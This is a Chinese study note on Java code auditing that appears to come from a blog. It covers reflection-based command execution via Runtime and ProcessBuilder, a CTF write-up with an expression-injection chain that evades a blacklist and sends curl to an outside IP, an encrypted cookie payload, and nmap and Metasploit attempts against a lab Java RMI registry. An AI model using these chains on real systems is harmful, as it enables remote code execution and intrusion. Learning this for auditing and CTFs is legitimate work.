是时候开始研究java代码审计了
反射
通过反射可以使得java语言具有动态特性
通过java.lang.Runtime
反射利用的代码如下:
1 | public static void main(String[] args) throws ClassNotFoundException,NoSuchMethodException, IllegalAccessException, InvocationTargetException { |
java.lang.Runtime遵循单例模式,也就是说构造方法是私有的、
查看其源码可以发现:
1 | /** Don't let anyone else instantiate this class */ |
注释中特意写明了不要让任何人实例化这个类
1 | private static Runtime currentRuntime = new Runtime(); |
遵循单例模式所以就会有一个静态方法getRuntime
要实现反射执行exec
,前面提到的payload
可以分为几个部分
1 | //获取到java.lang.Runtime的class对象 |
注意每一个反射得来的方法invoke
的时候第一个参数必须是对象
ProcessBuilder的利用
1 | //顾名思义和StringBuilder又几分相似 |
同样我们通过反射拿到start
方法,然后调用的时候,由于第一个参数必须是该类的对象,所以我们通过getConstructor
方法拿到它的构造方法之后实例化
反射例题
引用code breaking
的一道题目
题目是一个登陆的页面,用户名和密码都是admin,登陆的时候可以勾选remeber-me
选项
登录之后是一个hello页面
1 |
|
勾选了remember-me
之后,会从中解密得到username
,然后将其传递给一个方法getAdvanceValue
跟进这个方法:
1 | private String getAdvanceValue(String val) { |
可以看到有一个黑名单,之后的几行代码是解析一个表达式并执行的
构造利用链:
1 | String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl 39.106.125.244:8888" |
就用它的那个类进行加密:
1 |
得到payload
1 | VEdGePvYTXhp0TFlUTtEl9RimJGOGpGZmgTM181ZSAKn4ScdI0Z7KYgJhlMaf9ccTQkfOt9mgarInh090nWzls6IIWfW48Zkp8HC-rIyg6JtO-AMtI9O1NJYoSTFhcKdJqkg7VdFU-VG3b6vZrkJtwrj_i6Lv2-MBChAj5zXjZb7KGe6wnDO9NuYCGxQPgeADgBBME92fOaL3pOQp4Bte6O3gv0O3m6y09PwZ3jc-PMHalwzRzgR-M1svkqJushiOMCAj1i9rDZK3uOk1_CdFzQKq1to-MOwohuebk7d9NZRM_jWyG2fyJrqxJ6JPlquC7whDaz8Bz8gxXc2QYn2rrjhRZ0w5sn1IaRmg2DoPiel0OUd9LKMhxWDoLHZHu7X |
利用效果:
VPS监听到了请求
RMI
一个探测的工具
用nmap
扫描可以发现这次的主角Java RMI Registry
接下来可以使用nmap
的脚本进行验证
1 | $ nmap --script=rmi-vuln-classloader -p 1099 192.168.182.134 |
主机是有漏洞的
msf上搜索java_rmi的模块
1 | msf5 > search java_rmi |
检测到
1 | msf5 auxiliary(scanner/misc/java_rmi_server) > exploit |
Class Loader Enabled
使用java_rmi_server
进行攻击,但是并没有成功
1 | msf5 exploit(multi/misc/java_rmi_server) > exploit |